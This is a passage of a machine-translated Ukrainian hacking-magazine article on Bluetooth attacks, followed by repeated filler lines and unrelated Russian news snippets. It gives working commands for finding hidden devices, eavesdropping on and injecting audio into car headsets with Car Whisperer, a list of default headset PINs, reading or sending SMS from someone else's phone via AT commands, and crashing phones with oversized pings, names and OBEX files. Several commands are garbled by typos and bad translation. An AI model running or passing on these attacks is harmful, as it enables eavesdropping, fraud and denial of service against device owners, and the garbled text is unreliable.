Трюк 4: Працюємо з BT-адаптером безпосередньо

Довгий час Bluetooth стеки для Windows надавали настільки мізерні можливості, що програмісти просто обходили цю платформу стороною. Цим пояснюється, що більшість програм для серйозних забав c «синім зубом» розробляються під ніксовую платформу. Деякі з хитрих прийомів ми розберемо саме на це платформі, а саме FreeBSD (нагадаю, що на диску минулого номера ми викладали свіжий 7.0 реліз цієї ОС). Сама технологія Bluetooth офіційно стала підтримуватися на ній тільки з 5-ої гілки на базі підсистеми Netgraph. Радує, що більшість USB-адаптерів сумісні з драйвером ng_ubt (його необхідно завести перед підключенням пристрою). Спробуємо?

  1. Підключаємо пристрій: kldload ng_ubt
  2. Копіюємо сценарій подгрузки стека в зручне місце: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
  3. Копіюємо сценарій подгрузки стека в зручне місце і запускаємо: sh /usr/local/etc/rc.bluetoots start ubt0

Тепер хочу познайомити тебе з утилітою hccontrol. Це одна з основних програм для роботи з BT-модулем. Саме вона виконує всі операції, пов'язані з інтерфейсом HCI, і має наступний синтаксис: hccontrol -n <імя_hci_узла> <команда>. Перевіримо функціональність нашого пристрою, просканує ефір на наявність пристроїв:

hccontrol -n ubt0hci Inquiry

Як результат, утиліта виведе інформацію про знайдені пристроях, в тому числі їх MAC-адреси. Треба зауважити, що кожне з пристроїв Bluetooth, будь то хедсетом або звичайний телефон, представляє певний набір сервісів. Базовий перелік включає в себе: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point) . Щоб з'ясувати, які сервіси надає той чи інший пристрій, використовується запит на спеціальному протоколі SPD (Service Descovery Protocol). Сервер SPD працює безпосередньо на машині-хості і є виключно інформаційної складової (вплинути на нього
неможливо). Визначити, які сервіси надають знайдені пристрої, можна за допомогою відповідної утиліти:

# Spdcontrol -a <MAC-адресу пристрою> browse

Трюк 5: Знаходимо приховані пристрої

Отже, ефір ми просканували і навіть з'ясували, які сервіси доступні на активних пристроях. Але от заковика! Деякі девайси ніяк не видають своєї присутності, оскільки знаходяться в режимі «Undiscoverable mode» і не відповідають на широкомовні запити. По налаштуваннях свого телефону ти напевно знаєш про подібної опції безпеки. Однак виявити такі пристрої все-таки можна!

Найвідоміший прийом їх виявлення - тупий перебір MAC-адрес, тобто послідовна посилка запитів на різні адреси з певного діапазону. Для цього потрібно використовувати дуже просту утиліту Redfang , Яка перебирає останні шість байт адреси пристрою і таким чином виявляє заховані пристрою.

Інший варіант - це використовувати пасивні методики: перевести свій пристрій в режим очікування, при цьому призначити мережі яке-небудь привабливе ім'я:

hciconfig hci0 name BT_YANDEX
hciconfig hci0 down
hciconfig hci0 up
hcidump -V | grep bdaddr

В результаті відобразяться всі вхідні з'єднання, серед яких можуть запросто виявитися товариші з прихованими ідентифікаторами.

Трюк 6: перехоплювати з ефіру розмови по гарнітурі

Одна з основних загроз радіотехнологій полягає в тому, що дані можна перехопити. Перше, що спадає на думку, стосовно Bluetooth - прослухати розмови людей, що використовують гарнітуру. І найчастіше це реально! На хакерському фестивалі What the Hack в Нідерландах фахівці з групи Trifinite продемонстрували, як за допомогою ноутбука з Linux, спеціальної програми і спрямованої антени можна підслухати, про що говорить через Bluetooth-гарнітуру водій проїжджаючого автомобіля. Група розробила програму Car Whisperer ( «Автомобільний шептун»). Можливості програми відносно невеликі: прослухати можна тільки тих, хто забув змінити заводські паролі доступу до Bluetooth на зразок
«0000» або «1234». Але таких бідолах, повір, дуже і дуже багато! «Шептун» здатний вклинитися і успішно пройти «pairing» пристроїв, отримавши інформацію, передану з каркіта або хедсетом на мобілку. Хочу звернути увагу: утиліта дозволяє не тільки отримати інформацію, що передається між хедсетом і мобилой, але і Інжект туди свою. Ми вирішили перевірити можливості цієї програми, скачавши Car Whisperer з сайту розробників.

Перед початком операції рекомендується змінити клас свого пристрою, особливо якщо програма буде використовуватися з комп'ютера:

hciconfig адаптер class 0x500204
# 0x500204 - це клас «phone»

В іншому випадку деякі «розумні» девайси можуть запідозрити недобре. Дивимося синтаксис утиліти, який виглядає наступним чином:

./carwhisperer «що впроваджуємо в лінію» «що захоплюємо з лінії» «адресапристрою» [канал]

Ми взяли впроваджуваний файл прямо з папки утиліти, а в якості вихідного вказали out.raw:

./carwhisperer 0 message.raw /tmp/out.raw
00: 15: 0E: 91: 19: 73

На виході отримуємо файл out.raw. Прослухати його в чистому вигляді не можна: потрібно перетворити в аудіо формат, для чого потрібна додаткова утиліта. Підійдуть досить багато аудіо конвертери, наприклад SoX :

raw -r 8000 -c 1 -s -w out.raw -t wav -r
44100 -c 2 out.wav

Крім прослуховування, можна увійти в систему, переглянути телефонну книгу і скористатися іншими можливостями «вільних рук» з Bluetooth. Принцип такий: спочатку здійснюється пошук активних пристроїв і перевірка на предмет сервісу HS (Head Set). Далі досліджується MAC-адресу пристрою і проводиться спроба підключення з використанням стандартного ключа. Якщо коннект встановлений, то з пристроєм можна робити все, що завгодно (в межах доступного набору AT-команд).

На практиці це виглядає наступним чином. Спочатку здійснюється пошук всіх активних гарнітур за допомогою команди «sdptool search HS», яка видає приблизно таку відповідь:

Inquiring ...
Searching for HS on 00: 0A: 3A: 54: 71: 95 ...
Service Name: Headset
Service RecHandle: 0x10009
Service Class ID List:
"Headset" (0x1108)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 7
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100

Далі здійснюється спроба відкрити RFCOMM з'єднання на SCO audio channel за допомогою команди «rfcomm connect 2 00: 0A: 3A: 54: 71: 95 1» і посилка потрібних AT-команд. Наведу невелику статистичну замітку про дані авторизації на деякі моделі бездротових гарнітур:

Nokia (00: 02: EE ...) - pin = "5475"
Audi UHV (00: 0E: 9F ...) - pin = "1234"
O'Neill (00:80:37 ...) - pin = "8761"
Cellink (00: 0A: 94 ...) - pin = "1234"
Eazix (00: 0C: 84 ...) - pin = "1234"

До речі кажучи, той же принцип може використовуватися для несанкціонованого підключення і до всіх інших пристроїв. За допомогою AT-команд і протоколу RFCOMM можна, наприклад, прочитати SMS-повідомлення або навіть відправити його з чужого телефону на платний номер, поставивши власника девайса на гроші. Будь пильний!

Трюк 7: DDoS BT-пристроїв

Підхід традиційний. DDoS реально провести, коли хостової девайс ( «master») виконує роботу, у багато разів перевищує клієнтську. Таку ситуацію називають атакою на відмову в обслуговуванні (Denial Of Service). Вона може підвісити телефон або призвести до швидкої розрядки батареї. Провести атаку можна декількома способами. Почнемо зі стандартних засобів. Найочевидніше - пінгувати девайс пакетами великого розміру. Зробити це можна, вказавши утиліті l2ping як параметр «-s» прапор:

# L2ping -s 10000 -b "МАС адресу"

Сама програма, як ти вже зрозумів, є родичем ping в bluetooth середовищі і служить для перевірки зв'язку та наявності з'єднання. Інший спосіб, що принципово відрізняється від першого, полягає в використанні прийому «fuzzing» - своєрідної техніки-лотереї, тому як заздалегідь невідомо, що станеться. Це нове віяння в виявленні вразливостей в продуктах без аналізу вихідних кодів. Потрібно Було техніка тільки на інтерактивне спілкування з об'єктом зрозумілою для нього мовою, але з абсолютно хаотичними аргументами і значеннями-змінними. Хакерської завданням буде зробити так, щоб видиме назву телефону складалося з досить великої кількості елементів. При виявленні його «master'ом» в 70%
випадків відбувається переповнення або відмову в обслуговуванні:

hciconfig hci0 name `perl -e 'print" ash "x 3137'`
# Команда для Лінукса
hccontrol -n адаптер change_local_name "нове ім'я")
# Приклад для FreeBSD

Багато телефонів як і раніше не можуть перетравити файли-бомби. Ось проста реалізація подібного прийому.

  1. Спочатку готують «бомбу». Відомий приклад:
    echo `perl -e 'print" skvz "x 3137'`> file
  2. Після чого використовують модифіковану утиліту для взаємодії з OBEX - USSP PUSH (xmailserver.org/ussp-push.html)
    ./obextool push file 00: 0A: 3A: 54: 71: 95 `perl -e 'print" skvz "x 3137'` 3


Повну версію статті
читай в квітневому номері Хакера!
На нашому диску ти знайдеш повні версії програм, описаних в статті, а також повну добірку документації Bluetooth і вразливостей в цій технології.

Так чому б не спробувати себе в ролі фокусника?
А що?
Загалом, лочіть комп'ютер потрібно обов'язково, питання в тому - як?
Чи не виникало у тебе коли-небудь бажання подивитися всередину протоколу і дізнатися, як відбувається обмін даними через «синій зуб»?
Спробуємо?
Так чому б не спробувати себе в ролі фокусника?
А що?
Загалом, лочіть комп'ютер потрібно обов'язково, питання в тому - як?
Чи не виникало у тебе коли-небудь бажання подивитися всередину протоколу і дізнатися, як відбувається обмін даними через «синій зуб»?
Спробуємо?

Новости

Как создать фото из видео
Кризис заставляет искать дополнительные источники дохода. Одним из таких источников может стать торговля на валютном рынке Форекс. Но чтобы не потерять свои деньги необходимо работать с надежным брокером.

Как оформить группу в вконтакте видео
Дано хотел свой магазин в вк, но не знал с чего начать его делать. Так как хотелось не банальный магазин с кучей ссылок и фото, а красиво оформленный. С меню, с аватаркой. После просмотра видео создал

Как оформить диск малыш от рождения до года из фото и видео
Оформить диск "Малыш от рождения до года" из фото и видео можно совершенно разными способами! Кто-то для достижения данной цели идет на шоу-таланты, кто-то пользуется услугами профессионалов, а кто-то